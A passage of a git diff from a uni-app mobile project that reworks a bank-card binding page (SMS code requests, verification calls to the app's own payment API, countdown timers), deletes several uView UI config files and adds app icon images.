+ if (count <= 0) {
+ clearInterval(timer);
+ that.isCounting = false;
+ that.countText = '';
}
-
- const res = dt.data.data;
- if(!res){
- return;
- }
- _this.callbackData = res;
- _this.bindCardId = res;
- uni.showToast({
- title: "验证码已发送",
- icon: "none",
- });
- // 设置倒计时功能
- let count = 60;
-
- const timer = setInterval(() => {
- count--;
- if (count <= 0) {
- clearInterval(timer);
- _this.$set(_this, "isCounting_B", false);
- } else {
- _this.$set(_this, "isCounting_B", true);
- _this.$set(_this, "countText_B", `${count}秒后重新获取`);
- }
- }, 1000);
- }
- })
- },
- submitPlan_san(){
-
- const _this = this;
-
-
- if (!this.verificationCodeS) {
+ },1000)
+ },
+ fail(err){
+ that.isCounting = false;
+ that.countText = '';
uni.showToast({
- title: "请输入验证码",
+ title: err,
+ icon: 'none'
+ })
+ }
+ })
+
+
+
+
+
+
+
+
+
+
+ },
+// 二次获取
+ getCode(){
+ if (this.isCounting_A) {
+ return;
+ }
+ const paymentMethod = this.getPayBindCardInfo[1]['paymentMethod'];
+ const _this = this;
+ const pro = uni.getStorageSync('qxgLogin')
+ pro['userName'] = _this.cardName;
+ uni.request({
+ url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
+ method:'POST',
+ data:{
+ cardIdNo: _this.idCardNo,
+ customerId: pro.customerId,
+ cardName: _this.cardName,
+ cardNo: _this.cardIdNo,
+ cardPhone: _this.cardPhone,
+ cardNumber: _this.cardNumber,
+ bankName: _this.bankName,
+ preBindType: "prebc",
+ paymentMethod:paymentMethod,
+ againType : true
+ },
+ success(dt){
+ if(dt.data.code === 401){
+ _this.getUserInfo()
+ return;
+ }
+ const res = dt.data.data;
+ if(!res){
+ return;
+ }
+ _this.callbackData = res;
+ _this.bindCardId = res;
+ uni.showToast({
+ title: "验证码已发送",
icon: "none",
});
- return;
+ // 设置倒计时功能
+ let count = 60;
+
+ const timer = setInterval(() => {
+ count--;
+ if (count <= 0) {
+ clearInterval(timer);
+ _this.$set(_this, "isCounting_A", false);
+ } else {
+ _this.$set(_this, "isCounting_A", true);
+ _this.$set(_this, "countText_A", `${count}秒后重新获取`);
+ }
+ }, 1000);
}
+ })
+ },
- const callbackData = _this.callbackData;
- const paymentMethod = _this.getPayBindCardInfo[2]['paymentMethod'];
+ submitPlan(){
+
+ const _this = this;
+
+ if (!this.verificationCodeT) {
+ uni.showToast({
+ title: "请输入验证码",
+ icon: "none",
+ });
+ return;
+ }
+
+ const callbackData = _this.callbackData;
+ const paymentMethod = _this.getPayBindCardInfo[1]['paymentMethod'];
- uni.request({
- url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
- method:'POST',
- data:{
- ...callbackData,
+ uni.request({
+ url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
+ method:'POST',
+ data:{
+ ...callbackData,
- "customerId": uni.getStorageSync('ygxLogin').customerId,
- "cardPhone" : _this.cardPhone, //手机号
+ "customerId": uni.getStorageSync('qxgLogin').customerId,
+ "cardPhone" : _this.cardPhone, //手机号
- "cardNumber": _this.cardNumber, //卡号
- paymentMethod:paymentMethod,
- "cardName" : _this.cardName, // 名字
- "cardIdNo" : _this.cardIdNo,
- "bankName" : _this.bankName,
- "cardNo" : _this.cardNumber,
+ "cardNumber": _this.cardNumber, //卡号
+ paymentMethod:paymentMethod,
+ "cardName" : _this.cardName, // 名字
+ "cardIdNo" : _this.cardIdNo,
+ "bankName" : _this.bankName,
+ "cardNo" : _this.cardNumber,
- "verificationCode": _this.verificationCodeS,
- },
- success(dts){
- if(dts.data.code!==200){
- uni.showTitle({
- title: dts.data.data
- });
+ "verificationCode": _this.verificationCodeT,
+ },
+ success(dts){
+ if(dts.data.code!==200){
+ return
+ }
+
+ uni.request({
+ url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
+ method:'get',
+ success:function(res){
+ const ls = res.data.data;
+ _this.getPayBindCardInfo = res.data.data;
+ if(ls.length>2 && !ls[2].bindStatus){
+ _this.isCounting_A = false;
+ _this.countText_A = '';
+ _this.$refs.codeUi.close()
+ _this.$refs.setUi.open()
+ return;
+ }
+
+ if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
}
- uni.request({
- url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
- method:'get',
- success:function(res){
- const ls = res.data.data;
- _this.getPayBindCardInfo = res.data.data;
- _this.isCounting_B = false;
- _this.countText_B = '';
- _this.$refs.setUi.close()
- _this.$refs.codeUi.close()
- if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
+ })
+ }
+ })
-
- }
-
- })
- }
- })
-
- },
-
-
-
- getUserInfo() {
-
- const data = uni.getStorageSync('LOGING_DATA')
- console.log(data);
- this.$store.commit("LOGIN", {
- 'token': data.token
- });
- this.$store.commit('UPDATE_USERINFO', {
- avatar: data.avatar,
- nickname: data.nickname,
- phone: data.phone
- });
- this.$store.commit("SETUID", data.id)
-
- uni.reLaunch({
- url: '/pages/index/index'
- });
- },
},
- onUnload() {
+// 三次
+ getCode_san(){
+ if (this.isCounting_B) {
+ return;
+ }
+ const paymentMethod = this.getPayBindCardInfo[2]['paymentMethod'];
+ const _this = this;
+ const pro = uni.getStorageSync('qxgLogin')
+ pro['userName'] = _this.cardName;
+ uni.request({
+ url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
+ method:'POST',
+ data:{
+ cardIdNo: _this.idCardNo,
+ customerId: pro.customerId,
+ cardName: _this.cardName,
+ cardNo: _this.cardIdNo,
+ cardPhone: _this.cardPhone,
+ cardNumber: _this.cardNumber,
+ bankName: _this.bankName,
+ preBindType: "prebc",
+ paymentMethod:paymentMethod,
+ againType : true
+ },
+ success(dt){
+ if(dt.data.code ==401){
+ _this.getUserInfo()
+ return;
+ }
+
+ if(dt.data.code !==200){
+ uni.showToast({
+ title: dt.data.data,
+ icon: 'none'
+ })
+ return;
+ }
+
+ const res = dt.data.data;
+ if(!res){
+ return;
+ }
+ _this.callbackData = res;
+ _this.bindCardId = res;
+ uni.showToast({
+ title: "验证码已发送",
+ icon: "none",
+ });
+ // 设置倒计时功能
+ let count = 60;
+
+ const timer = setInterval(() => {
+ count--;
+ if (count <= 0) {
+ clearInterval(timer);
+ _this.$set(_this, "isCounting_B", false);
+ } else {
+ _this.$set(_this, "isCounting_B", true);
+ _this.$set(_this, "countText_B", `${count}秒后重新获取`);
+ }
+ }, 1000);
+ }
+ })
+ },
+ submitPlan_san(){
+
+ const _this = this;
+
+
+ if (!this.verificationCodeS) {
+ uni.showToast({
+ title: "请输入验证码",
+ icon: "none",
+ });
+ return;
+ }
+
+ const callbackData = _this.callbackData;
+ const paymentMethod = _this.getPayBindCardInfo[2]['paymentMethod'];
+
+
+ uni.request({
+ url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
+ method:'POST',
+ data:{
+ ...callbackData,
+
+ "customerId": uni.getStorageSync('qxgLogin').customerId,
+ "cardPhone" : _this.cardPhone, //手机号
+
+ "cardNumber": _this.cardNumber, //卡号
+ paymentMethod:paymentMethod,
+ "cardName" : _this.cardName, // 名字
+ "cardIdNo" : _this.cardIdNo,
+ "bankName" : _this.bankName,
+ "cardNo" : _this.cardNumber,
+
+ "verificationCode": _this.verificationCodeS,
+ },
+ success(dts){
+ if(dts.data.code!==200){
+ _this.showToast({
+ title: dts.data.data
+ });
+ }
+
+ uni.request({
+ url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
+ method:'get',
+ success:function(res){
+ const ls = res.data.data;
+ _this.getPayBindCardInfo = res.data.data;
+ _this.isCounting_B = false;
+ _this.countText_B = '';
+ _this.$refs.setUi.close()
+ _this.$refs.codeUi.close()
+ if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
+
+
+ }
+
+ })
+ }
+ })
+
+ },
+
+
+
+ getUserInfo() {
+
+
+
+ uni.reLaunch({
+ url: '/pages/index/index'
+ });
+ },
+ },
+ onUnload() {
clearInterval(this.interval);
},
}
diff --git a/uni_modules/uview-ui/libs/config/props/actionSheet.js b/uni_modules/uview-ui/libs/config/props/actionSheet.js
deleted file mode 100644
index d8061a7..0000000
--- a/uni_modules/uview-ui/libs/config/props/actionSheet.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * @Author : LQ
- * @Description :
- * @version : 1.0
- * @Date : 2021-08-20 16:44:21
- * @LastAuthor : LQ
- * @lastTime : 2021-08-20 16:44:35
- * @FilePath : /u-view2.0/uview-ui/libs/config/props/actionSheet.js
- */
-export default {
- // action-sheet组件
- actionSheet: {
- show: false,
- title: '',
- description: '',
- actions: () => [],
- index: '',
- cancelText: '',
- closeOnClickAction: true,
- safeAreaInsetBottom: true,
- openType: '',
- closeOnClickOverlay: true,
- round: 0
- }
-}
diff --git a/uni_modules/uview-ui/libs/config/props/album.js b/uni_modules/uview-ui/libs/config/props/album.js
deleted file mode 100644
index 8877326..0000000
--- a/uni_modules/uview-ui/libs/config/props/album.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * @Author : LQ
- * @Description :
- * @version : 1.0
- * @Date : 2021-08-20 16:44:21
- * @LastAuthor : LQ
- * @lastTime : 2021-08-20 16:47:24
- * @FilePath : /u-view2.0/uview-ui/libs/config/props/album.js
- */
-export default {
- // album 组件
- album: {
- urls: () => [],
- keyName: '',
- singleSize: 180,
- multipleSize: 70,
- space: 6,
- singleMode: 'scaleToFill',
- multipleMode: 'aspectFill',
- maxCount: 9,
- previewFullImage: true,
- rowCount: 3,
- showMore: true
- }
-}
diff --git a/uni_modules/uview-ui/libs/config/props/alert.js b/uni_modules/uview-ui/libs/config/props/alert.js
deleted file mode 100644
index 8f8182c..0000000
--- a/uni_modules/uview-ui/libs/config/props/alert.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * @Author : LQ
- * @Description :
- * @version : 1.0
- * @Date : 2021-08-20 16:44:21
- * @LastAuthor : LQ
- * @lastTime : 2021-08-20 16:48:53
- * @FilePath : /u-view2.0/uview-ui/libs/config/props/alert.js
- */
-export default {
- // alert警告组件
- alert: {
- title: '',
- type: 'warning',
- description: '',
- closable: false,
- showIcon: false,
- effect: 'light',
- center: false,
- fontSize: 14
- }
-}
diff --git a/unpackage/res/icons/1024x1024.png b/unpackage/res/icons/1024x1024.png
new file mode 100644
index 0000000..5d2bb18
--- /dev/null
+++ b/unpackage/res/icons/1024x1024.png
Binary files differ
diff --git a/unpackage/res/icons/120x120.png b/unpackage/res/icons/120x120.png
new file mode 100644
index 0000000..cb7f27d
--- /dev/null
+++ b/unpackage/res/icons/120x120.png
Binary files differ
diff --git a/unpackage/res/icons/144x144.png b/unpackage/res/icons/144x144.png
new file mode 100644
index 0000000..94abdd9
--- /dev/null
+++ b/unpackage/res/icons/144x144.png
Binary files differ
diff --git a/unpackage/res/icons/152x152.png b/unpackage/res/icons/152x152.png
new file mode 100644
index 0000000..3e2b5fc
--- /dev/null
+++ b/unpackage/res/icons/152x152.png
Binary files differ
diff --git a/unpackage/res/icons/167x167.png b/unpackage/res/icons/167x167.png
new file mode 100644
index 0000000..8ad75f7
--- /dev/null
+++ b/unpackage/res/icons/167x167.png
Binary files differ
diff --git a/unpackage/res/icons/180x180.png b/unpackage/res/icons/180x180.png
new file mode 100644
index 0000000..01837c4
--- /dev/null
+++ b/unpackage/res/icons/180x180.png
Binary files differ
diff --git a/unpackage/res/icons/192x192.png b/unpackage/res/icons/192x192.png
new file mode 100644
index 0000000..d42798c
--- /dev/null
+++ b/unpackage/res/icons/192x192.png
Binary files differ
diff --git a/unpackage/res/icons/20x20.png b/unpackage/res/icons/20x20.png
new file mode 100644
index 0000000..ecf714f
--- /dev/null
+++ b/unpackage/res/icons/20x20.png
Binary files differ
diff --git a/unpackage/res/icons/29x29.png b/unpackage/res/icons/29x29.png
new file mode 100644
index 0000000..b9d69cb
--- /dev/null
+++ b/unpackage/res/icons/29x29.png
Binary files differ
diff --git a/unpackage/res/icons/40x40.png b/unpackage/res/icons/40x40.png
new file mode 100644
index 0000000..dba2724
--- /dev/null
+++ b/unpackage/res/icons/40x40.png
Binary files differ
diff --git a/unpackage/res/icons/58x58.png b/unpackage/res/icons/58x58.png
new file mode 100644
index 0000000..777fde8
--- /dev/null
+++ b/unpackage/res/icons/58x58.png
Binary files differ
diff --git a/unpackage/res/icons/60x60.png b/unpackage/res/icons/60x60.png
new file mode 100644
index 0000000..05e6eeb
--- /dev/null
+++ b/unpackage/res/icons/60x60.png
Binary files differ
diff --git a/unpackage/res/icons/72x72.png b/unpackage/res/icons/72x72.png
new file mode 100644
index 0000000..52a39a3
--- /dev/null
+++ b/unpackage/res/icons/72x72.png
Binary files differ
diff --git a/unpackage/res/icons/76x76.png b/unpackage/res/icons/76x76.png
new file mode 100644
index 0000000..d37272b
--- /dev/null
+++ b/unpackage/res/icons/76x76.png
Binary files differ
diff --git a/unpackage/res/icons/80x80.png b/unpackage/res/icons/80x80.png
new file mode 100644
index 0000000..b8ec6d6
--- /dev/null
+++ b/unpackage/res/icons/80x80.png
Binary files differ
diff --git a/unpackage/res/icons/87x87.png b/unpackage/res/icons/87x87.png
new file mode 100644
index 0000000..62eac4d
--- /dev/null
+++ b/unpackage/res/icons/87x87.png
Binary files differ
diff --git a/unpackage/res/icons/96x96.png b/unpackage/res/icons/96x96.png
new file mode 100644
index 0000000..0c68f3f
--- /dev/null
+++ b/unpackage/res/icons/96x96.png
Binary files differ
--
Gitblit v1.9.3